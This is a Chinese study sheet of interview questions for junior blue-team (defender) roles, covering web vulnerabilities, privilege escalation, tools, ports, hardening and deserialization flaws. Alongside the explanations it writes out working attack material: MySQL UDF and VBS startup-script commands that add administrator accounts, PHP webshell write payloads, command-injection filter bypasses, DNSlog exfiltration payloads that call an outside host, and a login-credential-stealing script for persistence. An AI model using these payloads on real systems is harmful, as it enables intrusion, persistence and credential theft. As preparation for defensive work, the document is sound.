HVV蓝队初级面试总结
一、技术面:
1-SQL注入原理
1-WEB应用程序对用户输入的数据
2-没有过滤或者过滤的不严谨
3-并且把用户输入的数据当作SQL 语司
4-带入到数据中去执行
2-SQL注入分类
1-回显型
2-无回显型/盲注
1-联合查询注入unionselect
2-堆叠注入;
3-报错注入updatexml、floor、ExtractValue、exp其他的用的不多不用说
4-盲注4.1-布尔盲注4.2-时间盲注
3-SQL注入防御
1-对用户输入的内容进行转义(PHP中addslashes()、mysql_real_escape()函数)。
2-限制关键字的输入(PHP中preg_replace()函数正则替换关键字),限制输入的长度。
3-使用SQL语句预处理,对SQL语句首先进行预编译,然后进行参数绑定,最后传入参数。
部署防护墙和软硬WAF
4-XSS原理
1-XSS漏洞是跨站脚本攻击
2-是HTML代码的注入
3-他是通过对网页,注入浏览器可执行的代码,从而实现的攻击手段。
5-XSS分类
1-反射型
2-存储型
3-DOM型
6-XSS区别
都需需要经过服务器解析,并与数据库产生交互
只需要经过前端解析,不与数据库产生交互
都会将攻击代码长期存在受害者服务器
反射型
而反射型,只会反弹一次攻击代码
7-CSRF 成功利用的条件
1-用户在统一浏览器下
2-没有关闭浏览器的情况下
3-访问了攻击者精心伪装好的恶意链接
8-SSRF原理
1-服务器允许向其他服务器获取资源
2-但是并没有对该地址做严格的过滤和限制
3-所以导致了攻击者可以向受害者服务器,传入任意的URL地址,并将数据返回
9-SSRF危害
1-SSRF漏洞几乎无所不能
2-SQL注入
3-Sturts2
4-端口探测
5-敏感信息泄露#最为主要的就是能够访问到外网无法访问的系统和服务器,漫游内网
10-SSRF防御
1-地址做白名单处理
2-域名识别ip,过滤内部ip
3-并校验返回的内容对比是否与假定的一致
11-文件上传分类
1-白名单
2-黑名单
12-文件上传的突破
1-前端JS突破:抓包修改文件名或者禁用当前浏览器的JS脚本
2-后端突破:2.1-黑名单:方法太多了点、空格点、php1234567、phphtml、分布式文件上传、文件流绕过....2.2-白名单:比较鸡肋的00截断、时间竞争、双文件上传、双文件名...
13-你了解那些中间件
1-iis6.x
2-Apache
3-iis7.5
4-Nginx
5-Tomcat
6-Weblogic
7-Jboos
14-你会那些解析漏洞
大多数为Windowsserver2003,网站比较古老,如果要支持aspx,需要安装.NET框架
1.1-利用2003系统的系统特性,但凡出现\/.:;*文件名的后面都会被舍弃形式:www.xxx.com/xx.asp;.jpg1.2-凡是文件名是apx结尾的,里面的任何文件都会被当作脚本语言解析1.3-除了asp、aspx以外,还有cer、cdx、asa的后缀都可以被当作asp或者aspx脚本语言解析形式:mamu.cermuma.cdxmamu.asa
1-muma.php.xxx.aaa从左往右解析执行
#Nginx和IIS7.5都是因为开启了CGI.FIX_PATHINFO参数,默认是以CGI的方式支持PHP解
析的1. www.xxxx.com/1.jpg/1.php2-www.xxxx.com/1.jpg%00.php3-www.xxxx.com/1.jpg/%20\0.php
#Nginx和IIS7.5都是因为开启了CGI.FIX_PATHINFO参数,默认是以CGI的方式支持PHP解析的
1-在任意后缀后面加上x.php形式:www.xxx.com/logo.jpg/x.php www.xxx.com/logo.txt/x.php www.xxx.com/logo.doc/x.php
15-未授权访问漏洞
1-Redis未授权访问漏洞 2-MongoDB未授权访问漏洞 3-Jenkins未授权访问漏洞 4-Memcached未授权访问漏洞 5-JBOSS未授权访问漏洞 6-VNC未授权访问漏洞 7-Docker未授权访问漏洞 8-ZooKeeper未授权访问漏洞 9-Rsync未授权访问漏洞 10-AtlassianCrowd未授权访问漏洞 11-CouchDB未授权访问漏洞 12-Elasticsearch未授权访问漏洞 13-Hadoop未授权访问漏洞 14-JupyterNotebook未授权访问漏洞参考链接:https://xz.aliyun.com/t/6103 参考链接:https://paper.seebug.org/409/ 参考链接:https://www.freebuf.com/articles/web/207877.html
16-XXE的原理
通常和危害一起回答出来会感觉更加流畅和自然
导致可加载恶意外部文件,造成文件读取、 命令执行、内网端口扫描、攻击内网网站、 发起dos攻击等危害。
17-XXE的分类
有回显型XXE无闻最型XXE
补充:XXE有哪些引入方式
1-本地映入2-外部引入3-外部参数实体引入
18-遇到XXE的盲注怎么办
1-在攻击者自己的公网服务器,准备一个test.dtd通过base64为将读取的内容加密得到的值当作传参值,发送给攻击者的公网服务器 2-受害者那边,通过外部参数实体注入访问攻击者公网服务器下的test.dtd文件 3-最后看,攻击者公网服务器,的日志,转码得到受害者服务器的内容
20-遇到那些框架
21-win提权
1-内核提权systeminfo寻找对应EXP
22-linux提权
1-脏牛提权2-sodu提权3-内核提权
补充:说说你了解的脏牛提权
我当时没上来,有哪位老哥,比较好的答案,记得发给我啊,跪谢
23-数据库提权
1. mof提权2. udf提权3. VBS启动项提权
1-xp_cmdshell扩展存储函数提权 2-差异备份提权
补充:MySQL UDF提权的常用命令
createfunctioncmdshellreturnsstringsoname'udf.dll'; selectcmdshell('netuserliuyazhuanglyz123/add'); selectcmdshell('netlocalgroupadministratorsliuyazhuang/add');selectcmdshell('netlocalgroupadministrators'); selectcmdshell('ipconfig/all'); selectcmdshell('netuser'); selectcmdshell('regedit/sd:\wwwroot\3389.reg'); dropfunctioncmdshell; selectcmdshell('netstat-an');
补充:MySQL VBS启动项提权
先通过WebShell连接数据库,通过建立表a将VBS脚本写入表中,然后导入启动项。该脚本仅对中文版
有效,如果使用其他语言版本的操作系统,仅需对"C:\\DocumentsandSettings\\All
Users\\[开始]菜单\\程序\\启动\\a.vbs"这个脚本进行相应更改。在VBS脚本后面有一个"0",表
示不弹出CMD窗口,以静默模式运行。该方法是在通过UDF提权失败的情况下,将VBS插入启动项中,待
系统重启后将自动添加一个用户,
createtablea(cmdtext); #创建一个a表cmd字段text是字段类型 insertintoavalues("setwshshell=createobject(""wscript.shell"")"); #在a表里插入了一个vbsshell语句insertintoavalues("a=wshshell.run(""cmd.exe/cnetuserxxoo123123/add"",0)");#用VBSshell执行了一个添加用户的操作insertintoavalues("b=wshshell.run(""cmd.exe/cnetlocalgroupadministratorsxxoo/add"",0)");#用VBSshell执行了将xxoo这个用户,添加到了管理员组 select*fromaintooutfile"C:\\DocumentsandSettings\\AllUsers\\[开始]菜单\\程序\\启动\\a.vbs";#最后将a表里面的内容,插入到/写入到启动项的目录下,并且保存文件名为a.vbs
补充:Linux下的MySQL提权
mysql-hlocalhost-uroot-p Systemuseraddhackersystem passwd hacker System tail -1 /etc/passwdsystem tai]-1 /etc/shadow
24-说说SQLmap
1-SQLmap是最强大的注入工具,没有之一,几乎所有的数据库都可以注入
--is-dba #当前用户权限(是否为root权限,mssql下最高权限为sa)
--dbs #所有数据库
--current-db #网站当前数据库
--users #所有数据库用户
--current-user #当前数据库用户
--random-agent #构造随机user-agent
--passwords #数据库密码
--proxyhttp://local:8080–threads10 #(可以自定义线程加速)代理
--time-sec=TIMESECDBMS #响应的延迟时间(默认为5秒
--threads= #使用多少线程
--batch #自动化选择
sqlmap.py-u"http://www.xxx.com?id=1注入点"--cookie="cookie值"--current-db
sqlmap-r“数据包地址”-p“需要制定的参数”–dbms需要制定的数据类型
sqomap-u“注入点地址”--dbs跟上你需要的参数
1. 前提条件:最高权限、知道web网站绝对路径、能获取到cookie2. sqlmap.py-u"注入点地址"--cookie="cookie值"--os-shell 2.1-echo“一句话木马”>网站的绝对路径3-输入web网站的绝对路径4-传木马
25-说说Nmap
#Nmap是一款网络扫描和主机检测的工具
nmapwww.baidu.com #扫描单一的一个主机)nmap192.168.1.154 #扫描单一的一个主机)nmap192.168.1.1/24 #扫描整个子网nmap192.168.1.154192.168.1.156 #扫描多个目标)nmap 192 168 11-100 #扫描IP地址为192.168.1.1-192.168.1.100内的所有主机nmap-iLtarget.txt #扫描批量ip地址nmap192.168.1.1/24-exclude192.168.1.1 #扫描除过某一个ip外的所有子网主机nmap192.168.1.1/24-excludefilexxx.txt #xxx.txt中的文件将会从扫描的主机中排除nmap-p80,21,23192.168.1.154 #扫描特定主机上的80、21、23端口nmap-sS192.168.1.1 #半开放扫描比较喜欢用的一个namap--script==vuln #扫漏洞,比较重的一个namp-oN #保存扫描结果基本这些就够用了,如果有大佬觉得还有更好的使用方式欢迎补充啊,跪谢
26-说说MSF
background #让meterpreter处于后台模式 sessions-inumber #与会话进行交互,number表示第n个session quit #退出会话 shell #获得命令行 catc:\\boot.ini #查看文件内容 getwd #查看当前工作目录workdirectoryupload/root/Desktop/netcat.exec:\\ #上传文件到目标机上 download0xfa.txt/root/Desktop/ #下载文件到本机上 editc:\\boot.ini #编辑文件 search-dd:\\www-fweb.config #search文件 ps #查看当前活跃进程 migratepid #将Meterpreter会话移植到进程数位pid的进程中execute-H-i-fcmd.exe #创建新进程cmd.exe,-H不可见,-i交互getpid #获取当前进程的pid killpid #杀死进程 getuid #查看权限 sysinfo #查看目标机系统信息,如机器名,操作系统等getsystem #提权操作 timestompc:/a.doc-c"10/27/201514:22:11" #修改文件的创建时间
1-meterpreter>ps 2-自行选择PID 3-meterpreter>migratepid还可以做免杀木马等等。。。。MSF蛮强大的
27-SQL注入bypass你会那些手法
1-等量替换 2-参数污染HPP3-编码绕过4-SQL特性
29-命令执行怎么绕过
cat233.txt
#管道符号绕过
#空格绕过
${IFS}
#%0a、%09
< <>
@kali:$a=c;b=at;c=fl;d=ag;$a$b$c$d
ca''t flagcat"" flag
#$(printf"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67")==>cat/flag
#{printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|\$0==>cat/flag
#$(printf"\154\163")==>ls
$(printf"\154\163")
(1)more:一页一页的显示档案内容 (2)less:与more类似,但是比more更好的是,他可以[pgdn][pgup]翻页 (3)head:查看头几行 (4)tac:从最后一行开始显示,可以看出tac是cat的反向显示 (5)tail:查看尾几行 (6)nl:显示的时候,顺便输出行号 (7)od:以二进制的方式读取档案内容 (8)vi:一种编辑器,这个也可以查看 (9)vim:一种编辑器,这个也可以查看 (10)sort:可以查看 (11)uniq:可以查看 (12)file-f:报错出具体内容
c\atfl\ag
#`命令`和$(命令)都是执行命令的方式
echo"m0re`catflag`"
echo"m0re$(catflag)"
`echo"Y2F0IGZsYWc="|base64-d`
#>命令会将原有文件内容覆盖
echo'123'>xxoo.txt
>>符号的作用是将字符串添加到文件内容末尾,不会覆盖原内容
echo :'233'>axxootxt
ca\
a\
t\
fl\
ag
30-了解域渗透吗?说说域渗透
1-制作白银票据 2-制作黄金票据 二者区别:黄金票据只有30分钟,白银票据是永久
当然了,域渗透肯定不止那么点内容,东西还是很多的。下次更新了会把更新好的终极版发给大家
31-php反序列化
其实我觉得按照传统的概念去回答真的不好。如果谁有比较好的回答,请发给我
36-说一下渗透流程
1-信息收集 2-发现漏洞 3-验证漏洞-利用漏洞4-写渗透测试报告
37-你怎么做信息收集
收集域名信息
Whois查询
备案信息查询
敏感信息
子域名信息
收集常用端口信息
指纹识别
查找真实IP
敏感目录文件
41-了解那些端口?
80 web
80-89 web
8000-9090 web
8080 Tomcat Web
1433 MSSQL
1521 Oracle
3306 MySQL
5432 PostgreSQL
50000 DB2
443 SSL心脏滴血
445 ms08067/ms11058/ms17010等
873 Rsync未授权
2049 通过网络,跨平台实现文件共享
4000 腾讯QQ客户端
5984 CouchDBhttp://xxx:5984/_utils/
6379 redis未授权
7001,7002 WebLogic默认弱口令,反序列
9200,9300 elasticsearch参考WooYun:多玩某服务器ElasticSearch命令执行漏洞
11211 memcache未授权访问
27017,27018 Mongodb未授权访问
50000 SAP命令执行
50070,50030 hadoop默认端口未授权访问
20 ftp FTP服务器真正传输所用的端口,用于上传、下载
21 ftp 用于FTP的登陆认证
22 SSH、SFTP 加密的远程登录;文件传输!
23 Telnet 远程登录(在本地主机上使用此端口与远程服务器的2273389端口连接)
25 SMTP 用于发送邮件=
110POP3 SUN公司的RPC服务所有端口
445SMB 弱口令扫描
2601,2604 zebra 路由,默认密码zebra
3389 远程桌面
43- 如何手工快速判断目标站是windows还是linux服务器?
linux大小写敏感,windows大小写不敏感。
44- 为何一个mysql数据库的站,只有一个80端口开放?
# 更改了端
# 站库分离
# 3306端口不对外开放
45- 3389无法连接的几种情况
#没开放3389端口
#端口被修改
#防护拦截
#处于内网(需进行端口转发)
46-MySQL 怎么写shell
select'一句话'intooutfile'路径'
select'一句话'intodumpfile'路径'
select'<?phpeval($_POST[1])?>'intodumpfile'路劲.muma.php';
47-MySQL 写shell有那几个必要的条件?都是那些
#写shell必要的有3个条件1-必须是root权限2-知道网站的绝对路径3-my.ini的配置文件中secure_fiie_priv函数配置必须为空
48-了解编辑器漏洞吗?
#其实还是文件上传漏洞FCKeditor编辑器 EWEbeditor编辑器 DotNetTextBox编辑器 Kedit编辑器 CuteEditor在线编辑器
#这个问题基本回答个两三个就可以
49- access 扫出后缀为asp的数据库文件,访问乱码,如何实现到本地利用?
#迅雷下载,直接改后缀为.mdb。
50- 提权时选择可读写目录,为何尽量不用带空格的目录?
#因为exp执行多半需要空格界定参数
51- 注入时可以不使用and 或or 或xor,直接order by 开始注入吗?为什么?
#and/or/xor,前面的1=1、1=2步骤只是为了判断是否为注入点,如果已经确定是注入点那就可以省那步骤去。
52-某个防注入系统,在注入时会提示
系统检测到你有非法注入的行为。
已记录您的ip xx.xx.xx.xx
时间:2016:01-23
提交页面:test.asp?id=15
提交内容:and 1=1
如何利用这个防注入系统拿shell?#在URL里面直接提交一句话,这样网站就把你的一句话也记录进数据库文件了这个时候可以尝试寻找
网站的配置文件直接上菜刀链接
53- 上传大马后访问乱码时,有哪些解决办法?
#浏览器中改编码。
54- 目标站禁止注册用户,找回密码处随便输入用户名提示:“此用户不存在”,你觉得这里怎样利用?
#先爆破用户名,再利用被爆破出来的用户名爆破密码。#其实有些站点,在登陆处也会这样提示 #所有和数据库有交互的地方都有可能有注入。
55- 在有shell的情况下,如何使用xss实现对目标站的长久控制?
#后台登录处加一段记录登录账号密码的js,并且判断是否登录成功,如果登录成功,就把账号密码记录到一个生僻的路径的文件中或者直接发到自己的网站文件中。(此方法适合有价值并且需要深入控制权限的网络)。#在登录后才可以访问的文件中插入XSS脚本。
56- 后台修改管理员密码处,原密码显示为*。你觉得该怎
样实现读出这个用户的密码?
#审查元素把密码处的password属性改成text就明文显示了
57- 以下链接存在 sql 注入漏洞,对于这个变形注入,你有
什么思路?
#DATA有可能经过了base64编码再传入服务器,所以我们也要对参数进行base64编码才能正确完
成测试
58-SQLserver有几种提权方式?怎么提权?
咦,这个好像前面写过了,这里就不写了
59.CSRF 和 XSS 和 XXE 有什么区别,以及修复方式?
#XSS是跨站脚本攻击,用户提交的数据中可以构造代码来执行,从而实现窃取用户信息等攻击。 #修复方式:对字符实体进行转义、使用HTTPOnly来禁止JavaScript读取Cookie值、输入时校验、#CSRF是跨站请求伪造攻击,XSS是实现CSRF的诸多手段中的一种,是由于没有在关键操作执行时进行是否由用户自愿发起的确认。 #修复方式:筛选出需要防范CSRF的页面然后嵌入Token、再次输入密码、检验Referer#XXE是XML外部实体注入攻击,XML中可以通过调用实体来请求本地或者远程内容,和远程文件保护类似,会引发相关安全问题,例如敏感文件读取。 #修复方式:XML解析库在调用时严格禁止对外部实体的解析。
60- CSRF、SSRF和重放攻击有什么区别?
#CSRF是跨站请求伪造攻击,由客户端发起 #SSRF是服务器端请求伪造,由服务器发起 #重放攻击是将截获的数据包进行重放,达到身份认证等目的
61- 说出至少三种业务逻辑漏洞,以及修复方式?
1)密码允许暴力破解、2)存在通用型找回凭证、3)可以跳过验证步骤、4)找回凭证可以拦包获取5)前端返回等方式来通过厂商提供的密码找回功能来得到密码。
1)会话固定攻击2)Cookie仿冒 只要得到Session或Cookie即可伪造用户身份。
1)验证码允许暴力破解2)验证码可以通过Javascript或者改包的方法来进行绕过3)空值绕过4)验证码的值可控
62- 如何防止CSRF?
1、验证referer
2、添加token
3、关键地方验证矶验证
4、尤其是修改密码,要验证旧密码
63-OWAP TOP 10都有哪些?
1、SQL注入
2、失效的身份认证和会话管理
3、跨站脚本攻击XSS
4、直接引用不安全的对象
5、安全配置错误
6、敏感信息泄露
7、缺少功能级的访问控制
8、跨站请求伪造CSRF
9、使用含有已知漏洞的组件
10、未验证的重定向和转发
64- 代码执行,文件读取,命令执行的函数都有哪些?
eval,preg_replace+/e,assert,call_user_func,call_user_func_array,create_functi on
file_get_contents(),highlight_file(),fopen(),read file(),fread(),fgetss(),fgets(),parse_ini_file(),show_source(),file()等
system(),exec(),shell_exec(),passthru(),pcntl_exec(),popen(),proc_open()
65- img标签除了onerror属性外,还有其他获取管理员路径的办法吗?
#src指定一个远程的脚本文件,获取referer
66-文件包含都有哪些伪协议?
file:// 访问本地文件系统 http:// 访问HTTPs网址ftp:// 访问ftpURL Php:// 访问输入输出流 Zlib:// 压缩流Data:// 数据 Ssh2:// securityshell2Expect:// 查找匹配的文件路径
69-OSI7层协议
互联网的本质就是一系列的网络协议,这个协议就叫OSI协议(一系列协议),按照功能不同,分工不
同,人为的分层七层。实际上这个七层是不存在的。没有这七层的概念,只是人为的划分而已。区分出来的目的只是让你明白
哪一层是干什么用的。每一层都运行不同的协议。协议是干什么的,协议就是标准。#实际上还有人把它划成五层、四层。 七层划分为:应用层、表示层、会话层、传输层、网络层、数据链路层、物理层。 五层划分为:应用层、传输层、网络层、数据链路层、物理层。 四层划分为:应用层、传输层、网络层、网络接口层。 #七层详解:参考
https://blog.csdn.net/vic_qxz/article/details/80481612?utm_medium=distribute.pc_aggpage_search_result.none-task-blog-2~aggregatepage~first_rank_ecpm_v1~rank_v31_ecpm-3-80481612.pc_agg_new_rank&utm_term=osi7%E5%B1%82%E5%8D%8F%E8%AE%AE%E6%9C%89%E5%93%AA7%E5%B1%82&spm=1000.2123.3001.4430
70-阐述TCP3次握手和4次挥手
第一次握手:客户端发送一个syn包给服务器,并进入同步已发送(SYN_SEND)状态,等待服务器确认。这个时候SYN=1, seq=x。
第二次握手:服务器收到客户端发来的syn包,然后进行确认,同时自己也发送一个SYN+ACK包给客户端,然后服务器进入同步收到(SYN_RECV)状态。这个时候SYN=1,ACK=1,seq=y,ack=x+1。
第三次握手:客户端收到服务器的SYN+ACK包后,向服务器发送确认包ACK,这个包发送完毕后,客户端和服务器进入到已建立连接(ESTABLISHED)状态,完成三次握手,开始传输数据。这个时候ACK=1,seq=x+1,ack=y+1。
第一次挥手:当数据传输结束以后,客户端的应用进程发出连接释放报文段,并停止发送数据,其首部:FIN=1,seq=u。
第二次挥手:服务器端收到连接释放报文段之后,发出确认报文,其首部:ACK=1,seq=v,ack=u+1。此时本次连接就进入了半关闭状态,客户端不再向服务器发送数据。而服务器端仍会继续发送。
第三次挥手:若服务器已经没有要向客户端发送的数据,其应用进程就通知服务器释放TCP连接。这个阶段服务器所发出的最 后一个报文的首部应为:FIN=1,ACK=1,seq=w,ack=u+1。
第四次挥手:客户端收到连接释放报文段之后,必须发出确认:ACK=1,seq=u+1,ack=w+1。再经过2MSL(MaximumSegmentLifetime最长报文寿命)后,本次TCP连接真正结束,通信双方完成了他们的告别。
80-TCP/UDP协议的区别
TCP面向连接(如打电话要先拨号建立连接);UDP是无连接的,即发送数据之前不需要建立连接TCP要求的系统资源较多,UDP较少 TCP提供可靠的服务。也就是说,通过TCP连接传送的数据,无差错,不丢失,不重复,且按序到达;UDP尽最大努力交付,即不保证可靠交付TCP面向字节流,实际上是TCP把数据看成一连串无结构的字节流;UDP是面向报文的UDP没有拥塞控制,因此网络出现拥塞不会使源主机的发送速率降低(对实时应用很有用,如IP电话,实时视频会议等)每一条TCP连接只能是点到点的;UDP支持一对一,一对多,多对一和多对多的交互通信TCP首部开销20字节;UDP的首部开销小,只有8个字节 TCP的逻辑通信信道是全双工的可靠信道;UDP则是不可靠信道
81-linux和windows查看系统进程的命令和杀死进程的命令
查看进程命令:ps-ef|grepjava kill命令用于终止进程
查看所有进程:netstat-ano 查看指定端口的程序:netstat-ano|findstr“8080” taskkill/f/t/im进程名称 /f杀死所有进程及子进程/t强制杀死/im用镜像名称作为进程信息/pid用进程id作为进程信息
82-linux和windows的安全加固
1. 设置有效的密码策略,防止攻击者破解出密码 22. 应启用登录失败处理功能,可采取结束会话、限制非法登录次数和自动退出等措施。3. 删除多余的、过期的帐户,避免共享帐户的存在。4. 开启审核策略,若日后系统出现故障、安全事故则可以查看系统日志文件,排除故障、追查入侵者的信息等。5. 保护审计记录,避免受到未预期的删除、修改或覆盖等。 6. 关闭与系统业务无关或不必要的服务,减小系统被黑客被攻击、渗透的风险。7. 操作系统遵循最小安装的原则,仅安装需要的组件和应用程序,并通过设置升级服务器等方式保持系统补丁及时得 到更新。8. 对接入服务器的IP、方式等进行限制,可以阻止非法入侵。9. 设置登录超时时间,释放系统资源,也提高服务器的安全性
1. 密码复杂度:设置有效的密码策略,防止攻击者破解出密码。 2. 账号锁定策略:应启用登录失败处理功能,可采取结束会话、限制非法登录次数和自动退出3. 设置访问策略:应启用访问控制功能,依据安全策略控制用户对资源的访问。 4. 关闭默认共享:应根据管理用户的角色分配权限,实现管理用户的权限分离,仅授予管理用户所需的最小权限。5. 删除多余账号:删除或禁用临时、过期及可疑的帐号,防止被非法利用。6. 开启审核策略:开启审核策略,若日后系统出现故障、安全事故则可以查看系统日志文件,排除故障、追查入侵者 的信息等。7. 及时清理内存信息:及时清理存放在系统中的用户鉴别信息,防止信息外泄,被黑客利用8. 卸载冗余组件:卸载WScript.Shell,Shell.application这两个组件,防止黑客通过脚本来提权。9. 关闭不必要服务:关闭与系统业务无关或不必要的服务,减小系统被黑客被攻击、渗透的风10.安装杀毒软件:应安装防恶意代码软件,并及时更新防恶意代码软件版本和恶意代码库。11.设置屏幕保护:应根据安全策略设置登录终端的操作超时锁定。
83-常见的安全设备
1、过滤进、出网络的数据 2、防止不安全的协议和服务 3、管理进、出网络的访问行为 4、记录通过防火墙的信息内容 5、对网络攻击进行检测与警告 6、防止外部对内部网络信息的获取7、提供与外部连接的集中管理
用于欺骗攻击者并跟踪攻击者,通过布置一些作为诱饵的主机或网络服务,诱使攻击方对他们实施攻击,从而可以对攻击行为进行捕获和分析
主要任务包括:监视、分析用户及系统活动;审计系统构造和弱点;识别、反映已知进攻的活动模式,向相关人士报警;统计分析异常行为模式; 评估重要系统和数据文件的完整性; 审计、跟踪管理操作系统,识别用户违反安全策略的行为
侵预防系统是一部能够监视网络或网络设备的网络数据传输行为的计算机网络安全设备,能够即时的中断、调整或隔离一些不正常或是具有伤害性的网络数据传输行为
工作原理:
核心功能是用于实现对运维操作人员的权限控制与操作行为审计。用堡垒机是为了保证运维安全,
同时保障重要系统及靶标隔离。堡垒机的登录也是有访问控制的,只允许白名单IP访问,同时堡垒机使用强口令+随机KEY登录
84-溯源的方法及介绍
攻击源捕获——溯源处置——攻击者画像
1.审查邮件钓鱼 2.获取安全设备数据进行分析,特别是流量数据;3.网络资产所在的服务器运行状态; 4.中间件日志信息查看; 5.合理运用蜜罐系统进行溯源追踪。
1.域名查询2.IP查询3.身份查询4.文件查询
1. 攻击路径 2. 攻击目的 3. 网络代理 4. 攻击手法 5.攻击者的身份画像,由四个部分组成,分别是:虚拟身份:ID、昵称、网名 真实身份:姓名、家庭/办公物理位置联系方式:手机号、QQ/微信、邮箱组织情况:单位名称、职位信息
86-Sql 注入无回显的情况下-利用
借助DNSlog操作#Mysq中利用
Load_file()构造payload'andif((selectload_file(concat('\\',(selectdatabase()),'.xxx.ceye.io\abc'))),1,0)##Mssql下利用
master..xp_dirtree构造payload
DECLARE@hostvarchar(1024);SELECT@host=(SELECT
db_name())+'.xxx.ceye.io';EXEC('master..xp_dirtree"'+@host+'\foobar$"');
87-文件上传漏洞的绕过方法有哪些
文件包含绕过 前端限制绕过 文件扩展名绕过 ashx上传绕过 特殊文件名绕过 00截断绕过上传 htaccess解析漏洞 突破MIME限制上传 解析漏洞绕过 条件竞争绕过 CONTENT-LENGTH绕过
88-网站常见的文件上传点有哪些
相册、头像上传视频、照片分享附件上传(论坛发帖、邮箱)文件管理器
89-CSRF 和 XSS 和 XXE 有什么区别,以及修复方式
XSS是跨站脚本攻击,用户提交的数据中可以构造代码来执行,从而实现窃取用户信息等攻击修复方式: 对字符实体进行转义、使用HTTPOnly来禁止JavaScript读取Cookie值、输入时校验、浏览器与 Web应用端采用相同的字符编码。
CSRF是跨站请求伪造攻击,XSS是实现CSRF的诸多手段中的一种,是由于没有在关键
操作执行时进行是否由用户自愿发起的确认。修复方式:筛选出需要防范CSRF的页面然后嵌入Token、再次输入密码、检验Referer
3.XXE是XML外部实体注入攻击,XML中可以通过调用实体来请求本地或者远程内容,和
远程文件保护类似,会引发相关安全问题,例如敏感文件读取。修复方式:XML解析库在调用时严格禁止对外部实体的解析。
90-有shell的情况下,如何使用xss实现对目标站的长久
(1)后台登录处加一段记录登录账号密码的js,并且判断是否登录成功,如果登录成功,就把账号密码
记录到一个生僻的路径的文件中或者直接发到自己的网站文件中。(此方法适合有价值并且需要深入控
制权限的网络)(2)在登录后才可以访问的文件中插入XSS脚本
91-代码执行,文件读取,命令执行的函数都有哪些?
eval,preg_replace+/e,assert,call_user_func,call_user_func_array,create_functi
on
file_get_contents(),highlight_file(),fopen(),read file(),fread(),fgetss(),fgets(),parse_ini_file(),show_source(),file()等
system(),exec(),shell_exec(),passthru(),pcntl_exec(),
popen(),proc_open()
92-WAF原理与绕过
WAF工作方式是对接收到的数据包进行正则匹配过滤,如果正则匹配到与现有漏洞知识库的攻击代码相
同,则认为这个恶意代码,从而对于进行阻断。所以,对于基于规则匹配的WAF,需要每天都及时更新
最新的漏洞库。
#解析HTTP请求 对接收到数据请求流量时会先判断是否为HTTP/HTTPS请求,之后会查看此URL请求是否在白名单
之内,如果该URL请求在白名单列表里,直接交给后端Web服务器进行响应处理,对于不在白名单
之内的对数据包解析后进入到规则检测部分#匹配规则解析后的数据包会进入到检测体系中进行规则匹配,检查该数据请求是否符合规则,识别出恶意攻
击行为。
如果符合规则则交给后端Web服务器进行响应处理,对于不符合规则的请求会执行相关的阻断、记录、
告警处理。 不同的WAF产品会自定义不同的拦截警告页面,在日常渗透中我们也可以根据不同的拦截页面来辨别出
网站使用了哪款WAF产品,从而有目的性的进行WAF绕
93-SQL Bypass的手段
各种编码绕过 字母大小写转换绕过空格过滤绕过双关键字绕过内联注释绕过 异常Method绕过 超大数据包绕过 复参数绕过 宽字节绕过 %00截断 Cookie/X-Forwarded-For注入绕过冷门函数/字符/运算符绕过
94-RCE Bypass
通配符 连接符 未初始化的bash变量
95-fastjson反序列化漏洞原理及利用
fastjson的功能就是将json格式转换为类、字符串等供下一步代码的调用,或者将类、字符串等数据
转换成json数据进行传输,有点类似序列化的操作
#1.对于fastjson版本<=1.2.24的情况,利用思路主要有2种
通过触发点JSON.parseObject()这个函数,将json中的类设置成com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl并通过特意构造达
到命令执行利用com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
TemplatesImpl类,而这个类有一个字段就是_bytecodes,有部分函数会根据这个_bytecodes生成java实例,这就达
到fastjson通过字段传入一个类,再通过这个类被生成时执行构造函数。#2.通过JNDI注入jndi是一个Java命令和目录接口,举个例子,通过jndi进行数据库操作,无需知道它数据库是
mysql还是ssql,还是MongoDB等,它会自动识别。 当然rmi也可以通过jndi实现,rmi的作用相当于在服务器上创建了类的仓库的api,客户端只用
带着参数去请求,服务器进行一系列处理后,把运算后的参数还回来。
#函数作用
JSON.toJSONString(Object)将对象序列化成json格式 JSON.toJSONString(Object,SerializerFeature.WriteClassName)将对象序列化成
json格式,并且记录了对象所属的类的信息 JSON.parse(Json)将json格式返回为对象(但是反序列化类对象没有@Type时会报错)json;parseobject(json) 返回对象是com alibabafastjson.jsonobject类JsoN parseobject(json,object;cTass) 返回对象会根据ison中的@Type来决定JSON.parseObject(Json,User.class,Feature.SupportNonPublicField);会把
Json数据对应的类中的私有成员也给还原
96- fastjson不出网怎么利用
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl org.apache.tomcat.dbcp.dbcp2.BasicDataSource
解析JSON的时候需要使用Feature才能触发,参考如下代码: JSONObject.parseObject(sb.toString(),newFeature[]
{Feature.SupportNonPublicField});
则需要应用部署在Tomcat应用环境中,因为Tomcat应用环境自带tomcat-dbcp.jar 对于SpringBoot这种自带Tomcat可以直接以单个jar文件部署的需要在maven中配置tomcat-dbcp。 而且对于不同的Tomcat版本使用的poc也不同:•Tomcat8.0以后使用 org.apache.tomcat.dbcp.dbcp2.BasicDataSource•Tomcat8.0以下使用 org.apache.tomcat.dbcp.dbcp.BasicDataSource
97-shrio反序列化漏洞原理
ApacheShiro框架提供了记住密码的功能(RememberMe),用户登录成功后会生成经过加密并
编码的cookie。在服务端对rememberMe的cookie值,先base64解码然后AES解密再反序列化,就导致了反序列化RCE漏
洞。#payload产生过程
命令=>序列化=>AES加密=>base64编码=>RememberMeCookie值
由于ApacheShirocookie中通过AES-128-CBC模式加密的rememberMe字段存在问题,用
户可通过PaddingOracle 加密生成的攻击代码来构造恶意的rememberMe字段,并重新请求网站,进行反序列化攻击,最终
导致任意代码执行。
100-shrio550的特征
返回包中包含rememberMe=deleteMe字段。
101-jboss反序列化漏洞原理
jboss的反序列化漏洞出现在jboss\server\all\deploy\httpha-invoker.sar\invoke
r.war\WEB-INF\classes\org\jboss\invocation\http\servlet目录下的Reado0TIAc
cessFiter class文件中的doFilter中。程序获取http数据保存到了httpRequest中,序
列化后保存到了ois中,然后没有进行过滤操作,直接使用了readobiect( )进行了反序
列化操作保存到了mi变量中,这其实就是一个典型的iava反序列化漏洞。
102-weblogic反序列化漏洞原理
Weblogic(及其他很多java服务器应用)在通信过程中传输数据对象,涉及到序列化和反序列化操
作,如果能找到某个类在反序列化过程中能执行某些奇怪的代码,就有可能通过控制这些代码达到RCE
的效果
